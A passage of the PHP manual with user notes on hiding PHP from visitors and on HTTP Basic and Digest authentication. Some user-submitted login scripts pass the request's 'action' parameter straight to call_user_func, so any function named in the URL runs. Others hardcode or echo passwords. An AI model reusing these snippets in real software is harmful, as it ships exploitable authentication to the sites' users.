I think the best way to hide PHP on Apache and Apache itself is this:

httpd.conf
-------------
# ...
# Minimize 'Server' header information
ServerTokens Prod
# Disable server signature on server generated pages
ServerSignature Off
# ...
# Set default file type to PHP
DefaultType application/x-httpd-php
# ...

php.ini
------------
; ...
expose_php = Off
; ...

Now the URLs will look like this:
http://my.server.com/forums/post?forumid=15

Now hacker knows only that you are using Apache.
jtw90210 30-Jun-2005 10:19
In order to get the PATH_INFO to work in order to pass parameters using a hidden program/trailing slash/"pretty url" in more recent versions of PHP you MUST add "AcceptPathInfo On" to your httpd.conf.

AddType application/x-httpd-php .php .html
AcceptPathInfo On

Try it out with your phpinfo page and you'll be able to search for PATH_INFO.

http://example.com/myphpinfo.php/showmetheway

If you want to drop the .php use one or both of these:
DefaultType application/x-httpd-php
ForceType application/x-httpd-php
benjamin at sonntag dot fr 24-May-2005 06:14
In response to the previous messages, for apache, there is a easier way to set files without "." to be executed by PHP, just put this in a ".htaccess" file :

DefaultType  application/x-httpd-php
Nikolai-Zujev-(at)-Gmail-dot-Com 22-Sep-2004 09:22
Assign files w/o extension to php interpreter
without using ReWrite module

[clip httpd.conf]

<Files ~ "^[^\.]+$">
        ForceType application/x-httpd-php
</Files>

[/clip]
php at vfmedia dot de 15-Jun-2004 03:21
I�ve found an easy way to hide php code and the uri is searchable by google and others...(only for unix or linux)

At first I have some rules in my hide.conf (i made an extra .conf for it (apache 2.0))

For example when I want to mask the index.php

<Files index>
 ForceType application/x-httpd-php
 </Files>

My problem is, that my code should be readable...

so I made an extra folder for example srv/www/htdocs/static_output

My phpcode is in the includefolder....(for ex. mnt/source/index.php)

Then I made a link in the shell  > ln mnt/source/index.php srv/www/htdocs/static_output/index

So the code is readable (with .php extension) in my includefolder and there is only the link in the srv folder without extension(which is called by the browser...).
12-May-2004 05:20
Keep in mind, if your really freaked out over hiding PHP, GD will expose you.

Go ahead - make an image with GD and open with a text editor.. Somewhere in there you'll see a comment with gd & php all over it.
php at user dot net 11-Apr-2004 03:36
What about this in a .htaccess file :

RewriteEngine on
RewriteRule    ^$    /index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)/$    /$1/index.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)\.(html|htm)$    /$1.php    [L]
RewriteRule    ^([a-zA-Z0-9\-\_/]*)$    /$1.php    [L]

Typing "sub.domain.foo/anything" loads "/anything/index.php" if 'anything' is a directory, else it loads "/anything.php".

I'm sure you can find mutch better, but it works great on my site :)
mmj 14-Mar-2004 02:58
You can see if somebody's using PHP just by adding the following to the end of the URL:
?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000
If the page is using PHP, this will show the PHP credits.

Setting expose_php to Off in php.ini prevents this.
ldemailly at qualysNOSPAM dot com 28-Oct-2003 05:17
adding MultiViews to your apache Options config
lets you hide/omit .php in the url without any rewriting, etc...
l0rdphi1 at liquefyr dot com 21-Jul-2003 01:02
More fun includes files without file extensions.

Simply add that ForceType application/x-httpd-php bit to an Apache .htaccess and you're set.

Oh yea, it gets even better when you play with stuff like the following:

<?php
substr($_SERVER['PATH_INFO'],1);
?>

e.g. www.example.com/somepage/55

And:

<?php
foreach ( explode('/',$_SERVER['PATH_INFO']) as $pair ) {
    list($key,$value) = split('=',$pair,2);
    $param[$key] = stripslashes($value);
}
?>

e.g. www.example.com/somepage/param1=value1/param2=value2/etc=etc

Enjoy =)
Bryce Nesbitt at Obviously.COM 27-Mar-2003 05:24
Using the .php extension for all your scripts is not necessary, and in fact can be harmful (by exposing too much information about your server, and by limiting what you can do in the future without breaking links). There are several ways to hide your .php script extension:

(1) Don't hard code file types at all.  Don't specify any dots, and most web servers will automatically find your .php, .html, .pdf, .gif or other matching file. This is called canonical URL format:
     www.xxxxxx.com/page
    www.xxxxxx.com/directory/
This gives you great flexibility to change your mind in the future, and prevents Windows browsers from making improper assumptions about the file type.

(2) In an Apache .htaccess file use:
    RewriteEngine on
    RewriteRule page.html page.php

(3) Force the webserver to interpret ALL .html files as .php:
    AddType application/x-httpd-php .php3 .php .html
bminton at efn dot org 27-Feb-2003 09:05
Another technique is to have every file be named index.php and be in it's own directory.  Then instead of using for instance http://example.com/foo.php you could use http://example.com/foo/ where foo is a directory with a file called index.php in it.
29-Jan-2003 07:53
PS. If you want to use pretty URLs (i.e. hide your .php extensions) AND you have safe-mode=on, the previous example (ForceType) won't work for you.  The problem is that safe-mode forces Apache to honor trailing characters in a requested URL.  This means that:

http://www.example.com/home

would still be processed by the home script in our doc root, but for:

http://www.example.com/home/contact_us.html

apache would actually look for the /home/contact_us.html file in our doc root.

The best solution I've found is to set up a virtual host (which I do for everything, even the default doc root) and override the trailing characters handling within the virtual host.  So, for a virtual host listening on port 8080, the apache directives would look like this:

<VirtualHost *:8080>
    DocumentRoot /web/doc_root
    Alias /home "/web/doc_root/home.php"
    AcceptPathInfo On
</VirtualHost>

Some people might question why we are overriding the trailing characters handling (with the AcceptPathInfo directive) instead of just turning safe-mode=off.  The reason is that safe mode sets global limitations on the entire server, which can then be turned on or left off for each specific virtual host.  This is the equivilent of blocking all connections on a firewall, and then opening up only the ones you want, which is a lot safer than leaving everything open globally, and assuming your programmers will never overlook a possible security hole.
Kevin Vincent 23-Jan-2003 02:43
Just a thought but if you have changed the extensions that php interprets I would assume you've also changed header.php and footer.php files to the new extension.

EG:

index.php, somefile.php, header.php, footer.php...

Change the Apache directive so PHP interprets .kev files and rename your files:

index.kev, somefile.kev, header.kev, footer.kev

If you leave header and footer as PHP files then it won't understand how to interpret them.
sth at panix dot com 04-Aug-2002 09:45
The flipside to this is, if you're running a version of
PHP/Apache which is not known to have exploitable bugs (usually the latest stable version at the time), and an attacker sees this, they may give up before even trying. If they don't, they may continue to attempt their exploit(s).

It really depends on the type of attacker. The educated, security advisory reading attacker vs. script kiddie on the street.

If you're keeping up on patches, version exposition should not be a problem for you.
m1tk4 at hotmail dot com 23-Jul-2002 02:53
I usually do:

<code>
RewriteEngine on<br>
RewriteOptions inherit<br>
RewriteRule (.*)\.htm[l]?(.*) $1.php$2 [nocase]<br>
</code>

in .htaccess. You'll need mod_rewrite installed for this .
yasuo_ohgaki at yahoo dot com 26-Jan-2002 12:59
To hide PHP, you need following php.ini settings

expose_php=Off
display_errors=Off

and in httpd.conf

ServerSignature Off
(min works, but I prefer off)
istvan dot takacsNOSPAM at hungax dot com 30-Dec-2001 06:42
And use the
ServerTokens min
directive in your httpd.conf to hide installed PHP modules in apache.


Keeping Current

PHP, like any other large system, is under constant scrutiny and improvement. Each new version will often include both major and minor changes to enhance security and repair any flaws, configuration mishaps, and other issues that will affect the overall security and stability of your system.

Like other system-level scripting languages and programs, the best approach is to update often, and maintain awareness of the latest versions and their changes.

User Contributed Notes

Mike R 08-Jan-2008 11:13
Here are some good white hat sites:

sla.ckers.org
www.0x000000.com
ha.ckers.org
www.gnucitizen.org
www.owasp.org
www.cert.org
www.sans.org
www.securityfocus.com

What's a white-hat site?  It's a site run by security professionals, such as various federal governments, with honorable intentions.  They should be required reading.
Tapani Talvitie 22-Jul-2006 12:29
> Users might also like to use the latest features in PHP5,
> but the host may still be using PHP4.
>
> Hosts might also be running with register_globals on. As
> reported elsewhere in the comments on this site, when
> some hosts turned it off, they got several emails about
> broken scripts. So the hosts simply turned register_globals
> back on.

> The only solutions, besides pestering the web host to
> upgrade, are to change to a different, more modern
> host, or consider renting a virtual server where you can
> set up PHP yourself.

Another solution could be that the web hosting firms would run a new (virtual) server when a new major PHP version is released. The new server would have all security related settings turned on. This way new customers would automatically get the new features and old ones could ask to be moved. All clients would be informed about the possibility to update, so that the not-so-active web masters could start their slow transition process in the following months.

There is of course a downside in this solution too: web hosting firms would need to maintain several PHP version. One way to solve this would be to limit available php versions to two. If for example the host has php4 and php5 servers and then php6 is released, php4 users would be forced to move to the newer version. A major php releases come out once or twice in the year(?) That would give 1-2 years for the slow web masters to adjust ;-)
Chris Hester 08-Sep-2005 11:49
The problem lies in everyday web hosting firms which often seem to employ old versions of PHP. The user is therefore stuck. They may also be at risk as security patches won't be present. Users might also like to use the latest features in PHP5, but the host may still be using PHP4.

Hosts might also be running with register_globals on. As reported elsewhere in the comments on this site, when some hosts turned it off, they got several emails about broken scripts. So the hosts simply turned register_globals back on.

The only solutions, besides pestering the web host to upgrade, are to change to a different, more modern host, or consider renting a virtual server where you can set up PHP yourself. Of course this is likely to be more expensive and so not suitable for the average person. It just seems a shame to be stuck using older versions of PHP which are less secure than the latest one.


Features

  • HTTP authentication with PHP
  • Cookies
  • Sessions
  • Dealing with XForms
  • Handling file uploads
    • POST method uploads
    • Error Messages Explained
    • Common Pitfalls
    • Uploading multiple files
    • PUT method support
  • Using remote files
  • Connection handling
  • Persistent Database Connections
  • Safe Mode
    • Security and Safe Mode
    • Functions restricted/disabled by safe mode
  • Command line usage — Using PHP from the command line
    • Introduction
    • Differences to other SAPIs
    • Options — Command line options
    • Usage — Executing PHP files
    • I/O streams — Input/output streams
    • Interactive shell
    • Built-in web server
    • INI settings
  • Garbage Collection
    • Reference Counting Basics
    • Collecting Cycles
    • Performance Considerations
  • DTrace Dynamic Tracing
    • Introduction to PHP and DTrace
    • Using PHP and DTrace
    • Using SystemTap with PHP DTrace Static Probes

User Contributed Notes

yohgaki at hotmail dot com 14-Apr-2001 11:48
PHP manages freeing all resources. Users does not required to free file handle resource, database resources, memory, etc, unless programmer need to free resource during script execution.
(All resources are released after script execution)

PHP4 also have reference count feature. For example, memory for variables is shared when it assigned to other variable. If contents has been changed, PHP4 allocate new memory for it.

For example, programmer does not have to use pass by reference for large parameters for better performance with PHP4.

It would be a nice section for new PHP users, if there is "Resource Handling" section or like. Explanation about reference count feature in PHP4 would be very helpful to write better PHP4 scripts also.


HTTP authentication with PHP

It is possible to use the header() function to send an "Authentication Required" message to the client browser causing it to pop up a Username/Password input window. Once the user has filled in a username and a password, the URL containing the PHP script will be called again with the predefined variables PHP_AUTH_USER, PHP_AUTH_PW, and AUTH_TYPE set to the user name, password and authentication type respectively. These predefined variables are found in the $_SERVER and $HTTP_SERVER_VARS arrays. Both "Basic" and "Digest" (since PHP 5.1.0) authentication methods are supported. See the header() function for more information.

Note: PHP Version Note

Superglobals, such as $_SERVER, became available in PHP » 4.1.0.

An example script fragment which would force client authentication on a page is as follows:

Example #1 Basic HTTP Authentication example

<?php
if (!isset($_SERVER['PHP_AUTH_USER'])) {
    header('WWW-Authenticate: Basic realm="My Realm"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Text to send if user hits Cancel button';
    exit;
} else {
    echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
    echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
?>

Example #2 Digest HTTP Authentication example

This example shows you how to implement a simple Digest HTTP authentication script. For more information read the » RFC 2617.

<?php
$realm = 'Restricted area';

//user => password
$users = array('admin' => 'mypass', 'guest' => 'guest');

if (empty($_SERVER['PHP_AUTH_DIGEST'])) {
    header('HTTP/1.1 401 Unauthorized');
    header('WWW-Authenticate: Digest realm="'.$realm.
           '",qop="auth",nonce="'.uniqid().'",opaque="'.md5($realm).'"');

    die('Text to send if user hits Cancel button');
}

// analyze the PHP_AUTH_DIGEST variable
if (!($data = http_digest_parse($_SERVER['PHP_AUTH_DIGEST'])) ||
    !isset($users[$data['username']]))
    die('Wrong Credentials!');

// generate the valid response
$A1 = md5($data['username'] . ':' . $realm . ':' . $users[$data['username']]);
$A2 = md5($_SERVER['REQUEST_METHOD'].':'.$data['uri']);
$valid_response = md5($A1.':'.$data['nonce'].':'.$data['nc'].':'.$data['cnonce'].':'.$data['qop'].':'.$A2);

if ($data['response'] != $valid_response)
    die('Wrong Credentials!');

// ok, valid username & password
echo 'You are logged in as: ' . $data['username'];

// function to parse the http auth header
function http_digest_parse($txt)
{
    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();
    $keys = implode('|', array_keys($needed_parts));

    preg_match_all('@(' . $keys . ')=(?:([\'"])([^\2]+?)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? $m[3] : $m[4];
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}
?>

Note: Compatibility Note

Please be careful when coding the HTTP header lines. In order to guarantee maximum compatibility with all clients, the keyword "Basic" should be written with an uppercase "B", the realm string must be enclosed in double (not single) quotes, and exactly one space should precede the 401 code in the HTTP/1.0 401 header line. Authentication parameters have to be comma-separated as seen in the digest example above.

Instead of simply printing out PHP_AUTH_USER and PHP_AUTH_PW, as done in the above example, you may want to check the username and password for validity. Perhaps by sending a query to a database, or by looking up the user in a dbm file.

Watch out for buggy Internet Explorer browsers out there. They seem very picky about the order of the headers. Sending the WWW-Authenticate header before the HTTP/1.0 401 header seems to do the trick for now.

In order to prevent someone from writing a script which reveals the password for a page that was authenticated through a traditional external mechanism, the PHP_AUTH variables will not be set if external authentication is enabled for that particular page and safe mode is enabled. Regardless, REMOTE_USER can be used to identify the externally-authenticated user. So, you can use $_SERVER['REMOTE_USER'].

Note: Configuration Note

PHP uses the presence of an AuthType directive to determine whether external authentication is in effect.

Note, however, that the above does not prevent someone who controls a non-authenticated URL from stealing passwords from authenticated URLs on the same server.

Both Netscape Navigator and Internet Explorer will clear the local browser window's authentication cache for the realm upon receiving a server response of 401. This can effectively "log out" a user, forcing them to re-enter their username and password. Some people use this to "time out" logins, or provide a "log-out" button.

Example #3 HTTP Authentication example forcing a new name/password

<?php
function authenticate() {
    header('WWW-Authenticate: Basic realm="Test Authentication System"');
    header('HTTP/1.0 401 Unauthorized');
    echo "You must enter a valid login ID and password to access this resource\n";
    exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) ||
    ($_POST['SeenBefore'] == 1 && $_POST['OldAuth'] == $_SERVER['PHP_AUTH_USER'])) {
    authenticate();
} else {
    echo "<p>Welcome: " . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "<br />";
    echo "Old: " . htmlspecialchars($_REQUEST['OldAuth']);
    echo "<form action='' method='post'>\n";
    echo "<input type='hidden' name='SeenBefore' value='1' />\n";
    echo "<input type='hidden' name='OldAuth' value=\"" . htmlspecialchars($_SERVER['PHP_AUTH_USER']) . "\" />\n";
    echo "<input type='submit' value='Re Authenticate' />\n";
    echo "</form></p>\n";
}
?>

This behavior is not required by the HTTP Basic authentication standard, so you should never depend on this. Testing with Lynx has shown that Lynx does not clear the authentication credentials with a 401 server response, so pressing back and then forward again will open the resource as long as the credential requirements haven't changed. The user can press the '_' key to clear their authentication information, however.

In order to get HTTP Authentication to work using IIS server with the CGI version of PHP you must edit your IIS configuration "Directory Security". Click on "Edit" and only check "Anonymous Access", all other fields should be left unchecked.

Note: IIS Note:
For HTTP Authentication to work with IIS, the PHP directive cgi.rfc2616_headers must be set to 0 (the default value).

Note:

If safe mode is enabled, the uid of the script is added to the realm part of the WWW-Authenticate header.

User Contributed Notes

najeeb dot khokhar at yahoo dot com 20-Oct-2014 08:41
The definitive "logout" solution for Basic Authentication

As asserted by many on this page "Basic Authentication" has nog "logout" feature. There is however a standards based method (RFC2617) by which you can make the basic authentication session unique and therefore can emulate a log out function. This function works in all situations and across all browsers which is not the case for most solutions on this page.

The RFC2617 HTTP Authentication standard states that two elements determine the protection space:
- realm, a self chosen, server provided string identifier
- abs_path (i.e. the url)

By making both elements unique and changing them at the log out you will break (and "logout") the basic authentication.

The solution requires the use of mod_rewrite to direct traffic for non-existent resources to the index.php file. Please place a .htaccess file with the following contents in the folder that you wish to protect:

.htaccess:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [NC,L]

Please place an index.php file in the same folder (/auth in this example) with the following content:
<?php

session_start();

if (empty($_SESSION['session_id'])) {
    session_regenerate_id();
    $_SESSION['session_id'] = session_id();
    header("Location: /auth/" . $_SESSION['session_id'] . "/", TRUE, 301);
}

$url_action = (empty($_REQUEST['action'])) ? 'HomePage' : $_REQUEST['action'];
if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        print 'Function does not exist, request terminated';
    }
}

function HomePage() {
    print '<h1>Homepage</h1>';
    print '<p><a href="?action=LogIn">LogIn</a></p>';
    print '<p><a href="?action=LogOut">LogOut</a></p>';
    print '<p><a href="?action=SecureContent">Secure Content</a></p>';
}

function LogIn($url='') {
    $session_id = $_SESSION['session_id'];
    while (!IsAuthenticated()) {
        header('WWW-Authenticate: Basic realm="' . $session_id . '"');
        header('HTTP/1.1 401 Unauthorized');
        die('Authorization Required');
    }
    if (!empty($url)) {
        return TRUE;
    } else {
        header("Location: /auth/" . $_SESSION['session_id'] . "/", TRUE, 301);
    }
}

function LogOut() {
    session_destroy();
    session_unset($_SESSION['session_id']);
    header("Location: /auth/", TRUE, 301);
}

function SecureContent() {
    if (LogIn("SecureContent")) {
        print '<h1>Secure Content</h1>';
        print '<p>This is secure content</p>';
        print '<p><a href="/auth/' . $_SESSION['session_id'] . '/?action=HomePage">Home Page</a></p>';
    } else {
        print '<h1>Not Authorized</h1>';
    }
}

function IsAuthenticated() {
    if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
        $httpd_username = filter_var($_SERVER['PHP_AUTH_USER'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH|FILTER_FLAG_ENCODE_LOW);
        $httpd_password = filter_var($_SERVER['PHP_AUTH_PW'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH|FILTER_FLAG_ENCODE_LOW);
        if ($httpd_username == "test" && $httpd_password == "test") {
            return TRUE;
        } else {
            return FALSE;
        }
    }
    return FALSE;
}

?>

Both files need to be put in a folder named /auth for these examples to work. You can change the folder name in the index.php example to suit your own environment.

A the start of the script a unique id is generated through PHP session mechanism and this session id is inserted into the url (hence the requirement for mod_rewrite to catch these urls). A redirect takes place to this new url and the homepage is shown. If you click on login a 401 header is generated using a realm that uses the same session id. If you click logout the current session id is destroyed and you are redirected to the start of the script where a new session id is generated. If you click on a protected item without a login the login function is called.
Anonymous 20-Oct-2014 06:41
I came up with another approach to work around the problem of browsers caching WWW authentication credentials and creating logout problems. While most browsers have some kind of way to wipe this information, I prefer having my website to take care of the task instead of relying on the user's sanity.

Even with Lalit's method of creating a random realm name, it was still possible to get back into the protected area using the back button in Firefox, so that didn't work. Here's my solution:

Since browsers attach the credentials to specific URLs, use virtual paths where a component of the path is actually a PHP script, and everything following it is part of the URI, such as:

http://www.personalinjurylawyercalgaryinc.ca/some_dir/login.php/auth/8f631b92/

By choosing a different number for the last component of the URL, browsers can be tricked into thinking that they are dealing with a completely different website, and thus prompting the user for credentials again.

Note that using a random, unrestricted number will still allow the user to hit the back button to get back into the page. You should keep track of this number in a server-side file or database and regenerate it upon each successful login, so that the last number(s) become invalid. Using an invalid number might result in a 403 response or, depending on how you feel that day, a 302 to a nasty website.

Care should be taken when linking from the page generated in this case, since relative links will be relative to the virtual and non-existant directory rather than the true script directory.

Hope this helps somebody.
derkontrollfreak+9hy5l at gmail dot com 20-Apr-2014 12:55
Workaround for missing Authorization header under CGI/FastCGI Apache:

SetEnvIf Authorization .+ HTTP_AUTHORIZATION=$0

Now PHP should automatically declare $_SERVER[PHP_AUTH_*] variables if the client sends the Authorization header.
Robb_Bean at gmx dot net 10-Jan-2014 01:55
In the german example #2 (digest), the <?php $realm = "Geschützter Bereich"; ?>. As far as I have tested the umlaut ü is problematic, resulting in an password enter infinity loop. In my case it was written in UTF-8. So I suggest using only plain ASCII characters for the realm.
Mario 26-Mar-2013 08:06
if you are using apache with mod fcgid you have to add

<IfModule fcgid_module>
    FcgidPassHeader Authorization
</IfModule>

to make it work
xsanychx at mail dot ru 02-Oct-2012 06:32
New auth:

<?php
$login = 'test_login';
$pass = 'test_pass';

if(($_SERVER['PHP_AUTH_PW']!= $pass || $_SERVER['PHP_AUTH_USER'] != $login)|| !$_SERVER['PHP_AUTH_USER'])
{
    header('WWW-Authenticate: Basic realm="Test auth"');
    header('HTTP/1.0 401 Unauthorized');
    echo 'Auth failed';
    exit;
}
?>
avp200681 at gmail dot com 17-Sep-2012 03:48
I noted that $_SERVER['AUTH_TYPE'] is only available for a page that was authenticated through a traditional external mechanism (like Apache).
kazakevichilya at gmail dot com 31-Mar-2012 05:20
In case of CGI/FastCGI you would hot be able to access PHP_AUTH* info because CGI protocol does not declare such variables (that is why their names start from PHP) and server would not pass them to the interpreter. In CGI server should authenticate user itself and pass REMOTE_USER to CGI script after it.

So you need to "fetch" request headers and pass them to your script somehow.

In apache you can do it via environment variables if mod_env is installed.

Following construction in .htaccess copies request header "Authorization" to the env variable PHP_AUTH_DIGEST_RAW

SetEnvIfNoCase ^Authorization$ "(.+)" PHP_AUTH_DIGEST_RAW=$1

You can now access it via $_ENV.

Do not forget to strip auth type ("Digest" in my case) from your env variable because PHP_AUTH_DIGEST does not have it.

If mod_env is not installed you probably have mod_rewrite (everyone has it because of "human readable URLs").

You can fetch header and pass it as GET parameter using rewrite rule:

RewriteRule ^.*$ site.php?PHP_AUTH_DIGEST_RAW=%{HTTP:Authorization} [NC,L]

Here HTTP request header Authorization would be acessible as PHP_AUTH_DIGEST_RAW via $_GET.

---
If you use ZF you probably use Zend_Auth_Adapter_Http to auth user.

It takes Authorization info using "Zend_Controller_Request::getHeader"
This method uses apache_request_header which is likely not to be accessible in old CGI/FastCGI installations or _$_SERVER['HTTP_<HeaderName>] , so you need to put your authentication data, obtained via _GET or ENV to
_$_SERVER['HTTP_AUTHORIZATION'].
It will make ZF work transparently with you solution and I believe any other framework should work also
vog at notjusthosting dot com 23-Feb-2012 08:54
You shouldn't use the "last" ("L") directive in the RewriteRule! This will prevent all further rewrite rules to be skipped whenever a Basic or Digest Auth is given, which is almost certainly not what you want.

So the following lines are sufficient for the .htaccess (or httpd.conf) file:

RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
h3ndrik 25-Oct-2011 02:32
On my configuration with php-cgi - after setting the RewriteRule - the correct variable would be: $_SERVER['REDIRECT_HTTP_AUTHORIZATION']

So the workaround for PhpCGI is:
Set in your .htaccess:

RewriteEngine on
RewriteRule .* - [env=HTTP_AUTHORIZATION:%{HTTP:Authorization},last]

Php workaround:
<?php
//set http auth headers for apache+php-cgi work around
if (isset($_SERVER['HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}

//set http auth headers for apache+php-cgi work around if variable gets renamed by apache
if (isset($_SERVER['REDIRECT_HTTP_AUTHORIZATION']) && preg_match('/Basic\s+(.*)$/i', $_SERVER['REDIRECT_HTTP_AUTHORIZATION'], $matches)) {
    list($name, $password) = explode(':', base64_decode($matches[1]));
    $_SERVER['PHP_AUTH_USER'] = strip_tags($name);
    $_SERVER['PHP_AUTH_PW'] = strip_tags($password);
}
?>
luismontreal at gmail dot com 12-Aug-2011 11:10
Using sessions like this makes the enter auth values at each request

<?php
if($_SESSION['http_logged'] != 1) {
      $_SERVER['PHP_AUTH_USER'] = '';
      $_SERVER['PHP_AUTH_PW'] = '';
    }

    if ($_SERVER['PHP_AUTH_USER'] != $your_username || $_SERVER['PHP_AUTH_PW'] != $your_password ) {
      $_SESSION['http_logged'] = 1;
      header('WWW-Authenticate: Basic realm="realm"');
      header('HTTP/1.0 401 Unauthorized');
      exit;
    } else {
      $_SESSION['http_logged'] = 0;
    }
?>
ceo at l-i-e dot com 13-Oct-2010 12:51
To force a logout with Basic Auth, you can change the Realm out from under them to a different Realm.

This forces a new set of credentials for a new "Realm" on your server.

You just need to track the Realm name with the user/pass and change it around to something new/random as they log in and out.

I believe that this is the only 100% guaranteed way to get a logout in HTTP Basic Auth, and if it were part of the docs a whole lot of BAD user-contributed comments here could be deleted.
Ollie L 25-Sep-2010 01:16
I tried example 7, and at first I couldn't get it to work. It took me a while to spot that somewhere along the line, probably by the server, a seemingly random number was being added to the realm - so the valid_result variable wasn't calculated using the correct realm.

To get around this, or any similar problems, make the following changes to the example:

Around line 43 (44 if after next step ;) ):
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1, 'realm'=>1);

Before line 24:
$realm = $data['realm'];

These two steps get the real realm used for the authentication request, and substitute it into the "valid_response" query.

Hope this helps :)
idbobby at rambler dot ru 12-Aug-2010 11:31
First of all, sorry for my English.
One more authorization script with logout solution.
In script given by meint_at_meint_dot_net (http://www.php.net/manual/en/features.http-auth.php#93859) rewrite_module is used. If there are any problems with that module and possibilities of administration of the web-server are restricted (including restrictions for use of .htaccess) then you can use this solution.

index.php
---------

<?php

$auth_realm = 'My realm';

require_once 'auth.php';

echo "You've logged in as {$_SESSION['username']}<br>";
echo '<p><a href="?action=logOut">LogOut</a></p>'

?>

auth.php
--------

<?php

$_user_ = 'test';
$_password_ = 'test';

session_start();

$url_action = (empty($_REQUEST['action'])) ? 'logIn' : $_REQUEST['action'];
$auth_realm = (isset($auth_realm)) ? $auth_realm : '';

if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        echo 'Function does not exist, request terminated';
    };
};

function logIn() {
    global $auth_realm;

    if (!isset($_SESSION['username'])) {
        if (!isset($_SESSION['login'])) {
            $_SESSION['login'] = TRUE;
            header('WWW-Authenticate: Basic realm="'.$auth_realm.'"');
            header('HTTP/1.0 401 Unauthorized');
            echo 'You must enter a valid login and password';
            echo '<p><a href="?action=logOut">Try again</a></p>';
            exit;
        } else {
            $user = isset($_SERVER['PHP_AUTH_USER']) ? $_SERVER['PHP_AUTH_USER'] : '';
            $password = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : '';
            $result = authenticate($user, $password);
            if ($result == 0) {
                $_SESSION['username'] = $user;
            } else {
                session_unset($_SESSION['login']);
                errMes($result);
                echo '<p><a href="">Try again</a></p>';
                exit;
            };
        };
    };
}

function authenticate($user, $password) {
    global $_user_;
    global $_password_;

    if (($user == $_user_)&&($password == $_password_)) { return 0; }
    else { return 1; };
}

function errMes($errno) {
    switch ($errno) {
        case 0:
            break;
        case 1:
            echo 'The username or password you entered is incorrect';
            break;
        default:
            echo 'Unknown error';
    };
}

function logOut() {

    session_destroy();
    if (isset($_SESSION['username'])) {
        session_unset($_SESSION['username']);
        echo "You've successfully logged out<br>";
        echo '<p><a href="?action=logIn">LogIn</a></p>';
    } else {
        header("Location: ?action=logIn", TRUE, 301);
    };
    if (isset($_SESSION['login'])) { session_unset($_SESSION['login']); };
    exit;
}

?>
Ome Ko 25-Mar-2010 12:04
a link to http://logout:logout@<?=$_SERVER['HTTP_HOST'];?>/SECRET/ would force a fresh login for the /SECRET directory if no user logout with password logout exists.

[NOTE BY danbrown AT php DOT net: The following note was added by "Anonymous" on 01-APR-2010 (though we presume it's not an April Fool's Day joke).]

this logout method does not work 100% anymore, because of another bulls**t from M$:
http://support.microsoft.com/kb/834489
ale (at) tana (dot) it 20-Oct-2009 07:52
After we do auth with PHP in Apache, we miss the userid in the access.log file, unless we redefine the LogFormat to be "%{REMOTE_USER}e" rather than "%u", and upon successful authentication we do
<?php
   apache_setenv('REMOTE_USER', $user);
?>
meint at meint dot net 04-Oct-2009 08:41
The definitive "logout" solution for Basic Authentication

As asserted by many on this page "Basic Authentication" has nog "logout" feature. There is however a standards based method (RFC2617) by which you can make the basic authentication session unique and therefore can emulate a log out function. This function works in all situations and across all browsers which is not the case for most solutions on this page.

The RFC2617 HTTP Authentication standard states that two elements determine the protection space:
- realm, a self chosen, server provided string identifier
- abs_path (i.e. the url)

By making both elements unique and changing them at the log out you will break (and "logout") the basic authentication.

The solution requires the use of mod_rewrite to direct traffic for non-existent resources to the index.php file. Please place a .htaccess file with the following contents in the folder that you wish to protect:

.htaccess:
RewriteEngine On
RewriteCond %{REQUEST_URI} !^$
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . index.php [NC,L]

Please place an index.php file in the same folder (/auth in this example) with the following content:
<?php

session_start();

if (empty($_SESSION['session_id'])) {
    session_regenerate_id();
    $_SESSION['session_id'] = session_id();
    header("Location: /auth/" . $_SESSION['session_id'] . "/", TRUE, 301);
}

$url_action = (empty($_REQUEST['action'])) ? 'HomePage' : $_REQUEST['action'];
if (isset($url_action)) {
    if (is_callable($url_action)) {
        call_user_func($url_action);
    } else {
        print 'Function does not exist, request terminated';
    }
}

function HomePage() {
    print '<h1>Homepage</h1>';
    print '<p><a href="?action=LogIn">LogIn</a></p>';
    print '<p><a href="?action=LogOut">LogOut</a></p>';
    print '<p><a href="?action=SecureContent">Secure Content</a></p>';
}

function LogIn($url='') {
    $session_id = $_SESSION['session_id'];
    while (!IsAuthenticated()) {
        header('WWW-Authenticate: Basic realm="' . $session_id . '"');
        header('HTTP/1.1 401 Unauthorized');
        die('Authorization Required');
    }
    if (!empty($url)) {
        return TRUE;
    } else {
        header("Location: /auth/" . $_SESSION['session_id'] . "/", TRUE, 301);
    }
}

function LogOut() {
    session_destroy();
    session_unset($_SESSION['session_id']);
    header("Location: /auth/", TRUE, 301);
}

function SecureContent() {
    if (LogIn("SecureContent")) {
        print '<h1>Secure Content</h1>';
